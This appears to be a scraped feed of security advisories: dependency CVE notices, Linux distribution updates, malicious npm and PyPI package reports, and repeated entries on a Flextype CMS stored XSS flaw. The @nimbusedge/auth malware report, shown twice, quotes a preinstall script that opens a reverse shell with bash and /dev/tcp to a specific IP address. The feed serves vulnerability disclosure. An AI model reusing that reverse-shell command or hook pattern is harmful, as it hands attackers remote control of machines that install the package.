ch.admin.bit.jeap:jeap-archrepo-docgen (>=6.3.0, <=8.2.0), ch.admin.bit.jeap:jeap-archrepo-importer-openapi (>=6.3.0, <=8.2.0) +17 more potentially affected by CVE-2026-18061 via software.amazon.jdbc:aws-advanced-jdbc-wrapper (>=3.3.0, <=4.1.0)

software.amazon.jdbc:aws-advanced-jdbc-wrapper MAVEN version =3.3.0, =6.3.0, =6.3.0, =6.3.0, =6.3.0, =6.3.0, =6.3.0, =6.3.0, =3.3.0, =3.3.0, =3.3.0, =3.3.0, =23.3.0, =8.9.11, =4.128.0, =4.151.3 and more Source cves: CVE-2026-18061 Source advisory: SNYK:JAVA-SOFTWAREAMAZONJDBC-19778365...

[SECURITY] Fedora 45 Update: composer-2.10.3-1.fc45

Composer helps you declare, manage and install dependencies of PHP projects, ensuring you have the right stack everywhere. Documentation: https://getcomposer.org/doc/...

MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

ai.covia:covia-claude-code (>=0.9.3, <=0.9.11), ai.covia:covia-discord (>=0.9.4, <=0.9.9) +9449 more potentially affected by CVE-2026-68497 via com.fasterxml.jackson.core:jackson-databind (>=2.22.0, <=2.22.1)

com.fasterxml.jackson.core:jackson-databind MAVEN version =2.22.0, =0.9.3, =0.9.4, =0.9.7, =0.8.0, =0.9.9, =0.9.6, =0.7.0, =0.9.3, =0.9.9, =0.7.0, =0.7.0, =0.1.0-beta.1, =1.4.0, =1.4.0, =1.4.0, =2.0.0 and more Source cves: CVE-2026-68497 Source advisory: MEND:CVE-2026-68497...

Malicious code in aitextutils-py (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d70c1bd80ce0363cc25271a25e742ebe8c4346c872456f78b1ac039ef4641a67 The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...

git-lfs security update

An update is available for git-lfs. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Git Large File Storage LFS replaces large files such as audio samples, videos...

ROOT-APP-NPM-CVE-2026-67214 CVE-2026-67214 in nanoid - Patched by Root

Root has patched CVE-2026-67214 in the nanoid package for Root:npm. Multiple fixed versions available...

CVE-2026-89145

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

CVE-2026-89145 Flextype CMS 0.9.9 through 1.0.0-alpha.3 Stored XSS via Plugin Directory

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

EUVD-2026-75896

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

CVE-2026-89145

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 contain a stored XSS vulnerability caused by missing HTML-escaping of plugin directory names in the dependency error page rendered by getValidPluginsDependencies(). An attacker with write access to the plugins directory can create a plugin whose d...

CVE-2026-89145 Flextype CMS 0.9.9 through 1.0.0-alpha.3 Stored XSS via Plugin Directory

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

CVE-2026-89145 Flextype CMS 0.9.9 through 1.0.0-alpha.3 Stored XSS via Plugin Directory

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

Oracle Linux 10 / 8 / 9 : java-21-openjdk (ELSA-2026-42895)

The remote Oracle Linux 10 / 8 / 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2026-42895 advisory. 1:21.0.12.1.1-1.2.0.1 - Add Oracle vendor bug URL Orabug: 34340155 1:21.0.12.1.1-1.2 - Bump release for PQC build - Related: RHEL-235625...

openSUSE 16 Security Update : waylyrics (openSUSE-SU-2026:21815-1)

The remote openSUSE 16 host has packages installed that are affected by a vulnerability as referenced in the openSUSE- SU-2026:21815-1 advisory. Changes in waylyrics: - Update to version 0.4.0 CVE-2026-25541 bsc1274106 Added plugin architecture and SakuraLLM translation plugin Added OpenCC suppor...

CVE-2026-89145: Improper Neutralization of Input During Web Page Generation

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

PT-2026-90524

Name of the Vulnerable Software and Affected Versions The product name cannot be determined affected versions not specified Description A log-processing component reintroduced a vulnerable version of a bundled HTTP client library after a previous update that had fixed known issues was reverted. T...

PT-2026-89679

Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies. Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts...

tmux v3.8-rc

Welcome to tmux! tmux is a terminal multiplexer: it enables a number of terminals to be created, accessed, and controlled from a single screen. tmux may be detached from a screen and continue running in the background, then later reattached. This release runs on OpenBSD, FreeBSD, NetBSD, Linux,...